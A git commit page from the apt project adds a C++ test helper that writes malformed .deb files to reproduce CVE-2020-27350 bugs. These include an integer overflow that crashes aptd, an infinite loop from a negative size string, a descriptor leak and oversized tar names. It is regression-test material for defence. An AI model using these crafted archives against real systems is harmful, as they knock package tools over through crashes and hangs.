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author | Daniel Baumann <daniel.baumann@progress-linux.org> | 2024-05-05 18:07:13 +0000 |
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committer | Daniel Baumann <daniel.baumann@progress-linux.org> | 2024-05-05 18:07:13 +0000 |
commit | 636c7dc17286d93d788c741d15fd756aeda066d5 (patch) | |
tree | e7ae158cc54f591041a061b9865bcae51854f15c /test/interactive-helper/createdeb-cve-2020-27350.cc | |
parent | Initial commit. (diff) | |
download | apt-636c7dc17286d93d788c741d15fd756aeda066d5.tar.xz apt-636c7dc17286d93d788c741d15fd756aeda066d5.zip |
Adding upstream version 1.8.2.3.upstream/1.8.2.3upstream
Signed-off-by: Daniel Baumann <daniel.baumann@progress-linux.org>
Diffstat (limited to 'test/interactive-helper/createdeb-cve-2020-27350.cc')
-rw-r--r-- | test/interactive-helper/createdeb-cve-2020-27350.cc | 325 |
1 files changed, 325 insertions, 0 deletions
diff --git a/test/interactive-helper/createdeb-cve-2020-27350.cc b/test/interactive-helper/createdeb-cve-2020-27350.cc new file mode 100644 index 0000000..8b96194 --- /dev/null +++ b/test/interactive-helper/createdeb-cve-2020-27350.cc @@ -0,0 +1,325 @@ +#include <errno.h> +#include <fcntl.h> +#include <stdint.h> +#include <stdio.h> +#include <stdlib.h> +#include <string.h> +#include <sys/stat.h> +#include <sys/types.h> +#include <unistd.h> + +struct Header +{ + char Name[16]; + char MTime[12]; + char UID[6]; + char GID[6]; + char Mode[8]; + char Size[10]; + char Magic[2]; +}; + +struct TarHeader +{ + char Name[100]; + char Mode[8]; + char UserID[8]; + char GroupID[8]; + char Size[12]; + char MTime[12]; + char Checksum[8]; + char LinkFlag; + char LinkName[100]; + char MagicNumber[8]; + char UserName[32]; + char GroupName[32]; + char Major[8]; + char Minor[8]; +}; + +// Call `write` and check the result. +static void write_chk(int fd, const void *buf, size_t count) +{ + const ssize_t wr = write(fd, buf, count); + if (wr < 0) + { + const int err = errno; + fprintf(stderr, "Write failed: %s\n", strerror(err)); + exit(EXIT_FAILURE); + } + if ((size_t)wr != count) + { + fprintf(stderr, "Incomplete write.\n"); + exit(EXIT_FAILURE); + } +} + +// Triggers a negative integer overflow at https://git.launchpad.net/ubuntu/+source/apt/tree/apt-pkg/contrib/arfile.cc?h=applied/ubuntu/focal-updates&id=4c264e60b524855b211751e1632ba48526f6b44d#n116: +// +// Memb->Size -= Len; +// +// Due to the integer overflow, the value of Memb->Size is 0xFFFFFFFFFFFFFFFF. +// This leads to an out-of-memory error at https://git.launchpad.net/ubuntu/+source/python-apt/tree/python/arfile.cc?h=applied/ubuntu/focal-updates&id=0f7cc93acdb51d943114f1cd79002288c4ca4d24#n602: +// +// char* value = new char[member->Size]; +// +// The out-of-memory error causes aptd to crash. +static void createdeb_crash(const int fd) +{ + // Magic number + static const char *magic = "!<arch>\n"; + write_chk(fd, magic, strlen(magic)); + + struct Header h; + memset(&h, 0, sizeof(h)); + + memcpy(h.Name, "control.tar ", sizeof(h.Name)); + write_chk(fd, &h, sizeof(h)); + + memset(&h, 0, sizeof(h)); + memcpy(h.Name, "data.tar ", sizeof(h.Name)); + write_chk(fd, &h, sizeof(h)); + + memset(&h, 0, sizeof(h)); + memcpy(h.Name, "#1/13 ", sizeof(h.Name)); + strcpy(h.Size, "12"); + write_chk(fd, &h, sizeof(h)); + write_chk(fd, "debian-binary", 13); +} + +// Triggers an infinite loop in `ARArchive::LoadHeaders()`. +// The bug is due to the use of `strtoul` at https://git.launchpad.net/ubuntu/+source/apt/tree/apt-pkg/contrib/strutl.cc?h=applied/ubuntu/focal-updates&id=4c264e60b524855b211751e1632ba48526f6b44d#n1169: +// +// Res = strtoul(S,&End,Base); +// +// The problem is that `strtoul` accepts negative numbers. We exploit that here by setting the size string to "-60". +static void createdeb_loop(const int fd) +{ + // Magic number + static const char *magic = "!<arch>\n"; + write_chk(fd, magic, strlen(magic)); + + struct Header h; + memset(&h, 0, sizeof(h)); + + memcpy(h.Name, "#1/20 ", sizeof(h.Name)); + strcpy(h.Size, "-60"); + write_chk(fd, &h, sizeof(h)); + + char buf[20]; + memset(buf, 0, sizeof(buf)); + write_chk(fd, buf, sizeof(buf)); +} + +// Leaks a file descriptor in `debfile_new()`: +// +// https://git.launchpad.net/python-apt/tree/python/arfile.cc?h=2.0.0#n588 +// +// If the .deb file is invalid then the function returns without deleting +// `self`, which means that the file descriptor isn't closed. +static void createdeb_leakfd(const int fd) +{ + // Magic number + static const char *magic = "!<arch>\n"; + write_chk(fd, magic, strlen(magic)); + + struct Header h; + memset(&h, 0, sizeof(h)); + + memset(&h, 0, sizeof(h)); + memcpy(h.Name, "data.tar ", sizeof(h.Name)); + write_chk(fd, &h, sizeof(h)); +} + +static void set_checksum(unsigned char block[512]) +{ + struct TarHeader *tar = (struct TarHeader *)&block[0]; + memset(tar->Checksum, ' ', sizeof(tar->Checksum)); + uint32_t sum = 0; + for (int i = 0; i < 512; i++) + { + sum += block[i]; + } + snprintf(tar->Checksum, sizeof(tar->Checksum), "%o", sum); +} +static void base256_encode(char *Str, unsigned long long Num, unsigned int Len) +{ + Str += Len; + while (Len-- > 0) { + *--Str = static_cast<char>(Num & 0xff); + Num >>= 8; + } + + *Str |= 0x80; // mark as base256 +} + +// Create a deb with a control.tar that contains a too large file or link name (GNU extension) +static void createdeb_bigtarfilelength(const int fd, int flag, unsigned long long size = 64llu * 1024 * 1024 + 1) +{ + // Magic number + static const char *magic = "!<arch>\n"; + write_chk(fd, magic, strlen(magic)); + + struct Header h; + memset(&h, ' ', sizeof(h)); + memcpy(h.Name, "debian-binary/ ", sizeof(h.Name)); + h.MTime[0] = '0'; + h.UID[0] = '0'; + h.GID[0] = '0'; + memcpy(h.Mode, "644", 3); + h.Size[0] = '0'; + memcpy(h.Magic, "`\n", 2); + + write_chk(fd, &h, sizeof(h)); + + memset(&h, ' ', sizeof(h)); + memcpy(h.Name, "data.tar/ ", sizeof(h.Name)); + h.MTime[0] = '0'; + h.UID[0] = '0'; + h.GID[0] = '0'; + memcpy(h.Mode, "644", 3); + h.Size[0] = '0'; + memcpy(h.Magic, "`\n", 2); + + write_chk(fd, &h, sizeof(h)); + + memset(&h, ' ', sizeof(h)); + memcpy(h.Name, "control.tar/ ", sizeof(h.Name)); + h.MTime[0] = '0'; + h.UID[0] = '0'; + h.GID[0] = '0'; + memcpy(h.Mode, "644", 3); + memcpy(h.Size, "512", 3); + memcpy(h.Magic, "`\n", 2); + + write_chk(fd, &h, sizeof(h)); + union + { + struct TarHeader t; + unsigned char buf[512]; + } t; + for (unsigned int i = 0; i < sizeof(t.buf); i++) + t.buf[i] = '7'; + memcpy(t.t.Name, "control\0 ", 16); + memcpy(t.t.UserName, "userName", 8); + memcpy(t.t.GroupName, "thisIsAGroupNamethisIsAGroupName", 32); + t.t.LinkFlag = flag; + base256_encode(t.t.Size, size, sizeof(t.t.Size)); + memset(t.t.Checksum, ' ', sizeof(t.t.Checksum)); + + unsigned long sum = 0; + for (unsigned int i = 0; i < sizeof(t.buf); i++) + sum += t.buf[i]; + + int written = sprintf(t.t.Checksum, "%lo", sum); + for (unsigned int i = written; i < sizeof(t.t.Checksum); i++) + t.t.Checksum[i] = ' '; + + write_chk(fd, t.buf, sizeof(t.buf)); +} + +static void createdeb_test(const int fd) +{ + // Magic number + static const char *magic = "!<arch>\n"; + write_chk(fd, magic, strlen(magic)); + + struct Header h; + + memset(&h, 0, sizeof(h)); + memcpy(h.Name, "data.tar ", sizeof(h.Name)); + write_chk(fd, &h, sizeof(h)); + + memset(&h, 0, sizeof(h)); + memcpy(h.Name, "debian-binary ", sizeof(h.Name)); + strcpy(h.Size, "4"); + write_chk(fd, &h, sizeof(h)); + static const char *debian_binary = "2.0\n"; + write_chk(fd, debian_binary, strlen(debian_binary)); + + static const char *control = + "Architecture: all\n" + "Package: kevsh\n\n"; + memset(&h, 0, sizeof(h)); + memcpy(h.Name, "control.tar ", sizeof(h.Name)); + snprintf(h.Size, sizeof(h.Size), "%ld", (size_t)512 + 512); + write_chk(fd, &h, sizeof(h)); + + unsigned char block[512]; + memset(block, 0, sizeof(block)); + struct TarHeader *tar = (struct TarHeader *)&block[0]; + strcpy(tar->Name, "control"); + strcpy(tar->Mode, "644"); + snprintf(tar->Size, sizeof(tar->Size), "%lo", strlen(control)); + set_checksum(block); + write_chk(fd, block, sizeof(block)); + + memset(block, 0, sizeof(block)); + strcpy((char *)block, control); + write_chk(fd, block, sizeof(block)); +} + +int main(int argc, char *argv[]) +{ + if (argc != 3) + { + const char *progname = argc > 0 ? argv[0] : "a.out"; + fprintf( + stderr, + "usage: %s <mode> <filename>\n" + "modes: loop, segv, leakfd\n", + progname); + return EXIT_FAILURE; + } + + const char *mode = argv[1]; + const char *filename = argv[2]; + + const int fd = open(filename, O_CREAT | O_WRONLY | O_TRUNC, 00644); + if (fd < 0) + { + const int err = errno; + fprintf(stderr, "Could not open %s: %s\n", filename, strerror(err)); + return EXIT_FAILURE; + } + + if (strcmp(mode, "crash") == 0) + { + createdeb_crash(fd); + } + else if (strcmp(mode, "loop") == 0) + { + createdeb_loop(fd); + } + else if (strcmp(mode, "leakfd") == 0) + { + createdeb_leakfd(fd); + } + else if (strcmp(mode, "long-name") == 0) + { + createdeb_bigtarfilelength(fd, 'L'); + } + else if (strcmp(mode, "long-link") == 0) + { + createdeb_bigtarfilelength(fd, 'K'); + } + else if (strcmp(mode, "long-control") == 0) + { + createdeb_bigtarfilelength(fd, '0'); + } + else if (strcmp(mode, "too-long-control") == 0) + { + createdeb_bigtarfilelength(fd, '0', 128llu * 1024 * 1024 * 1024 + 1); + } + else if (strcmp(mode, "test") == 0) + { + createdeb_test(fd); + } + else + { + fprintf(stderr, "Mode not recognized: %s\n", mode); + } + + close(fd); + return EXIT_SUCCESS; +} |